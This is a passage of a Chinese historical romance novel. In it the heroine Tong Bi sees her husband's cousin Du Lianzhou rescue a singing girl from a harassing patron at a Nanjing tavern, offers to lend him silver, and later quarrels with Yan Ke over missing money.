那女子只是低头饮泣，那老妇向几人央求不迭，“还请大官人换一支，这一套小儿实在不会唱，我们唱一支送一支也可，只收大官人一支曲的钱。” 当中一个穿枣红锦袍的胖子却摸出十两银子放在桌上，口音是北边的，“你看我们几个可像缺钱的？你别推，只管把《挂枝儿》全套唱来，这十两银子都是你们娘儿俩的！” 老妇苦道：“官人大福大寿，实在不会唱这个，万望大官人见谅些个。” 那胖子不依，唰地抖开纸扇，睇着那少女霪笑，“这个都不会唱还卖什么艺？好，不为难你们，全套不会，就拣一支来唱。” 那少女益发把下巴颏低紧了，胖子歪下笑脸，“我先唱给你听，你现学现卖也成啊。”说着吭吭清了清嗓子，唱道：“俏冤家扯奴在窗儿外，一口儿咬住奴粉香腮，双手就解香罗带。哥哥等一等，只怕有人来，再一会无人也，袴带儿随你解①。” 众人哄笑，那少女肩背发颤，恨不能将脑袋埋到地缝里去，豆大的眼泪直往地上砸。 童碧在间壁瞧着，不禁三尸神暴跳，七窍内生烟，丢下鹅腿，待要踅到那头揪住胖子打一顿，谁知脚还未动，却见那小间门前走来个眼熟的男人。 那男人朝小间内笑了声，“几位官人，得饶人处且饶人，看她们母女如此为难，想必是真不会唱，不如放她们去，再另找会唱的来。” 这声音也耳熟得紧，童碧贴紧纱橱细瞧，原来是苏家那位表兄杜连舟！ 那胖子朝门前行了一步，“嘿，哪来这多管闲事的，爷的事，你管得着么？你是她老爹啊还是她汉子啊？少在这里充英雄豪杰，爷走南闯北，轻易可唬不着我！” 那少女已朝杜连舟跟前挨去，杜连舟却踅进门内，自坐在凳上，只将手一招，旋即门外一个小厮踅进来，朝背后反折了那胖子的胳膊，那胖子只管痛叫，直给摁在桌上，左右挣扎不起，同行几个一看这小厮厉害，不敢相帮。 连舟不疾不徐，端了碗滚烫的茶朝他嘴上慢慢浇着，“南京有南京的规矩，这里是钟灵毓秀之地，头一件，嘴巴要洗干净。” 语毕一递眼色，那小厮方一撒手，将胖子撇在地上。胖子一张嘴烫得又红又肿，乱着爬来桌上找凉水擦嘴。 ———————— ①明冯梦龙《桂枝儿》 18.018 连舟自拿了桌上十两银子递给那母女二人，与那小厮径出房来，恰经过童碧这小间外头。童碧心头好不痛快，又扑到这边纱橱上来看。 那对母女亦追了出来，朝连舟磕了两个头。那少女搀起老妇，老妇向前道：“多谢官人解围，不知如何报答，我母女不会别的，只会唱曲，可替官人唱几曲助兴。” 连舟连看也未看那少女一眼，只对老妇摇首，“不必了，你们自去做买卖吧。” 那少女却近前一步福身，“今日得这十两银子，可抵两月的开销了，并不急着做买卖。大官人若不叫我们唱，我和娘只怕终生过意不去。”说着，竟又捉裙跪下。 连舟无法，虚抬手叫她起身，“那你们随便唱一曲便罢。” 说话间踅入右边那小间内，童碧又换个方位继续瞧。只见那老妇在墙根下坐了，调准琴弦弹起来，这少女则在桌前站着，伴着些搦转袖舞，唱得莺啭动人。 所谓术业有专攻，人家唱得就是比她这半吊子技艺高多了，连她也不觉痴迷。 那连舟却似充耳不闻，眼前无物，只管低头倒他的茶吃。这态势却与宋兰茉说的大相径庭，不像什么好色纨绔，倒像个柳下惠。 难道是那少女不够好？不能啊，童碧定睛瞧去，分明是个粉脸妍姿的姑娘，比兰茉屋里那丫鬟柳枣强得多。再瞧下去，连舟始终一言不发，只等唱完了，才意兴阑珊地叫母女自去。 那少女缓缓走到门前，有些难舍神色，又折回去，在桌旁福个身，“官人，我姓孟，叫沁姐。” 连舟抬起眼，只稍微点下头，仍打发她去了。 冷眼瞧来，这连舟分明是位正人君子，那宋兰茉八成因眼睛瞎了，错看了人也情有可原。童碧两边嘴角禁不住要咧到后脑勺去，对他又复生青睐，更兼他才刚一番仗义之举，另添几分倾慕。 他像是在等人，等了半晌还不见人来，逐寸蹙起眉头，将门外小厮叫进来问时辰。 那小厮道：“申时过半，只怕张老爷不来了。爷，我看他手上根本没钱还咱们，咱们还是另想法子，不过两千两银子应个急，咱们找家里人借也是一样的。” 连舟眉头未展，慢慢摇头，“家里那些人都不是省油的灯，就怕欠下他们人情，将来难做。” “可那银子月底就要用，一时半会咱们的银子都垫进去了，除了家里，还有何处可筹集？” “就是问外人借也不可问家中那些讨债阎王借。这样，你到洛川行找一下秋老爷，他那里大约能借个五六百，我这里还有一千，剩下几百两，我再另想法。” 主仆二人正商议着，忽然听见“哎唷唷”一连串地叫唤，只见对过那扇碧纱橱猛地朝前倒下来，砰地一声，尘烟渐散，那门板上竟扑着个小娘子。 只见她松挽宝髻，穿一件灰色隐约透白底子的长纱衫，底下半截掺银丝的黑罗裙，捂着前头脑门直骂：“真是个浊贪才！无商不奸，这破板子也舍不得花钱修一修，立在这里假充门面！” 这兴水楼的装潢原是金玉其外，败絮其中，那扇碧纱橱可巧有些松动了，童碧一副身骨紧贴在上头，不防压倒了它，连门带人，都摔到杜连舟这屋里来。 她捂着额头起身，拍着裙子直朝这主仆二人讪笑，“杜表哥，真是巧啊，在这里碰见你。” 那小厮瞟了杜连舟一眼，没多说话。 连舟反驱他先去告诉伙计一声，另要一席酒菜。随即朝童碧微笑，“三奶奶，是你，你怎么一个人跑到这里来了？” 童碧不惯客套，揉着脑门便走来旁边长条凳上坐下，龇牙咧嘴苦笑，“我在家里闷得发慌，苏家那宅子，大虽大，可除了到处闲逛，没别的耍头。我到南京来半个多月了，还没出来瞧瞧呢，今日搭了大姐姐和宴章的便车，出来买把扇子，听说这里的酒饭好吃，就来了。” 连舟眺目望到她那桌上，有酒有菜，大鱼大肉，虽是本店招牌，却都不算特色。 他噙笑替她倒了茶，“你要的那些菜色只是空有名气，我要了几样你尝尝，这才是南京特色。只是不知你还吃不吃得下？” 童碧只管傻笑点头，他将半满的茶盅搁在她面前，顺势抬起手，扒开她盖在额上的手，细看她的额头，“不碍事，只是撞红了些，回去叫宴章在总管房里取一罐活络膏揉一揉，明日就能好。” 她只觉额头一热，给他看得有些不好意思，“什么膏？” “活络膏，从前有位太医替苏家专配的一味药，专管活血化瘀，疗效奇好，取了记得早晚涂抹了揉一揉。” 她呵呵点头，“你对苏家的事真熟。” “亲戚常来常往的，自然熟识。” 眼下近近地坐着，只看他笑意徐徐，神情自若，自有股雅静的威严。童碧在他这注视之下，无端有些气矮神挫，想是他年长些的缘故？ 不过他长得年轻，只笑起来眼角见两条浅纹，别的地方如锦如缎，尤其是那只手，方才握上她的手腕，温凉似玉。 她怀念着那份凉爽温度，嘴角挂着一片春心，“杜表哥，你娶妻不曾？” 连舟微笑摇头，“未曾。” 好好好，没娶妻好，这就叫天公作美，良缘自来。她脸上笑得益发殷勤，“才刚我听你和小厮说什么两千两银子，怎么你眼下缺钱使啊？” 连舟一怔神，笑着点头，“眼下急着要送一份礼，偏缺了一千两，我又不大喜欢找人借。今日在这里约见一位朋友，他欠我一千两，结果人没来，大约也是暂时还不上，躲开了。” “那你还差多少？” “按打算，还有三四百没处凑。” 说话间伙计端了酒菜来，连舟敛了些笑意，随手帮着摆碟盘，高贵中又带着一份平易近人。 伙计出去后，他窥着童碧像在思量什么事，便歪着眼笑笑，“怎么发呆？你要是忽然没了胃口，可就枉费我叫了这桌酒菜。” 童碧应过神，把身子朝左上歪来，“三四百两银子，我借给你怎么样？我不要你的利钱，你什么时候有了什么时候还我都行。” 连舟正将一瓯鲜蒸鲥鱼换在面前，手却在半空中一顿，扣着眉首笑了，“你借给我？” 她一脸真诚地点头，“我借给你，问谁借不是借，我还不要你利息呢。” 他上下将她打量，“不要利息，那你要什么？” 童碧低头一笑，嘿嘿嘿一连串地锵的声音，还能要什么，不就是男男女女，风情月债嚜。 话到嘴边，却捏起箸儿，胳膊肘朝他那头一拐，挤眉弄眼笑着，“放心，我什么都不要你的，一家子亲戚，说这些客套话做什么。你们做大买卖的人，我最不喜欢的就是这点，什么都是换来换去。难道亲戚间的情分，也是拿东西换的？我不讲这个，我借给你钱，全凭情谊。” 连舟微挑眉峰，“你我之间，情谊？” “亲戚间的情谊不是情谊啊？” 他含笑点一点头，“可我听说，你娘家只在桐乡县开着家小布店，你带来的嫁妆恐怕也不够三百两，你如何借得出来？” 童碧豪情万丈，“这你就别管了，我自有我的打算，你只管等着来家里拿钱。依我说，二十六那天，你就在上回那柳月斋里等我，我一定把银子给你送去。” 连舟脸上仍带着些微讶异的笑意，“当真？” “一言既出，驷马难追！来来来，别愁，先吃饭，先吃酒！” 童碧一面说，一面替彼此满斟一杯，她自小便陪她爹饮酒，早练出一副好酒量，偏偏这回吃几杯便说头晕眼花，连舟无法，只得用马车送她回去。 车到苏家大宅前一段，连舟便命小厮停车，眼露关怀地扫量童碧的脸，“你可好些？我不便将你送到门前，免得给门上的人瞧见，可能走几步回去？” 童碧借酒装痴，靠在他肩上乔睡了一程，早已心满意足。此刻起来，一面打起车帘，一面朝背后摇摇手，“我明白，咱们表兄弟媳之间，不好太热络，我自己能走回去，你回去吧，别忘了二十六之约。” 言讫跳下车来，回头一看，杜连舟正歪在车壁上望着她笑，眼睛里闪动着一丝兴意，那笑错综复杂，似有欣赏似有惊奇。 即便是商海之中，他也没见过如此随性不羁的女商贾。 童碧亦对他笑出两排皓齿，摇摇手转背走了，归至房中，顾不得同丫鬟搭腔，径踅进卧房，急不可耐地将床底下那口箱子拖将出来点算。 那梅儿进来，看她撒 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春喜道：“奶奶的两箱嫁妆都抬到库里去存着了，只一箱衣裳在这屋里，奶奶要找什么？那箱子里我看不过是些棉布之类，咱们家多的是布匹，说句不怕奶奶生气的话，家里的料子都比你那箱子里的好，还找它做什么？” 一时说得童碧哑口无言，春喜又道：“奶奶，还摆午饭么，我瞧你像是外头吃过酒。” 童碧悻悻然摇头，复回卧房内盘算讨要嫁妆的由头，想来想去想不定主意，倒渐觉困倦，不管了，先睡一觉再说。 迷迷糊糊睁开眼时，不知什么时辰了，屋内昏暝黯淡，仍未掌灯。半黑暗中有个挺括括的男人在床前站着，她吓一跳，猛地朝他肚子上踹去一脚。 谁知遭此冷不防的袭击，燕恪来不及躲闪，捂着肚子蹲在地上，痛得不能出声。本来愤恨，可抬眼一看，昏昧中只童碧双目里闪着警惕的凶光，同她睡着时两样。 他听易老爹说起，她幼时居无定所，跟着爹娘四处躲避官府，想来总是格外警惕，常年不得安心。 他登时泄尽心中怒火，攒着眉倒抽一口气。 童碧一听是他，忙下床搀扶，“是你啊，怎么没声没息的——”话音甫断，转头又想起个什么，一只手又掐住他的脖子，换了语气，“贼猪狗，我的钱呢？！” 燕恪朝后稍仰着脖子，“我可才刚进门，半句话都没说，又是哪里惹了你？” “说！一百两银子呢？” “什么一百两？” 童碧另转背就走去床前，指着床下，“又装傻，这箱子里的一百两，你不是说连本带利还我的么，怎么私拿了一百两去？” 他额心紧蹙，“你不是说你不要那钱么？你不要，自然是我使了。” 经他一提，童碧想起来，好像当时意气用事，是说过这话。她忙转笑，“对不住，是我忘了。” 燕恪满是冤屈，慢慢朝床前走来。 对过那四个窗屉子都支起来，卷入夜风，摆着他的衣袍，看不清颜色，只觉一个一个蓝阴阴的浪头朝右扑打去，似乎也听见浪声，徐徐有致，使这盛夏之夜，分外凉爽。 她搀他来床上坐着，赔着笑，“这会我缺银子使，我想要了，那一百两呢？” 那一百两燕恪早兑成银票收买了易老爹，不过这话可不能告诉她，只得龇牙咧嘴吁着气，“你说你不要，那一百两我就用来办正事了。”说着，斜上眼睇她的脸，“这里头还有一百两，不够你使？” “不够，我这里急需三百两。”童碧叉着腰嘀咕，“干爹送我那些嫁妆还能典个七.八十两，只是才刚我问春喜，她说我那两箱东西都送到库房里去了，一时又没个由头去取。嗳，你这脑袋好使，你替我想个说法。” 他却吸吸鼻子，一转话峰，“你吃酒了？” 童碧愣着点点头，旋即竖着拇指朝肩后笑指，“下晌我去了有名的兴水酒楼，在那里吃了一顿痛快的。嗳，我告诉你，怪道那酒楼有名呢，原来有好些外乡才子在那里摆局设宴，还请了许多秦淮河岸的行院姑娘坐陪，真是——” 说着摇头摆脑，手在他肩头轻藐地拍了拍，“同那些相公比，你也不显得十分出色了。” 昏暗中他把牙关一紧，眼一乜，冷森森地笑了下。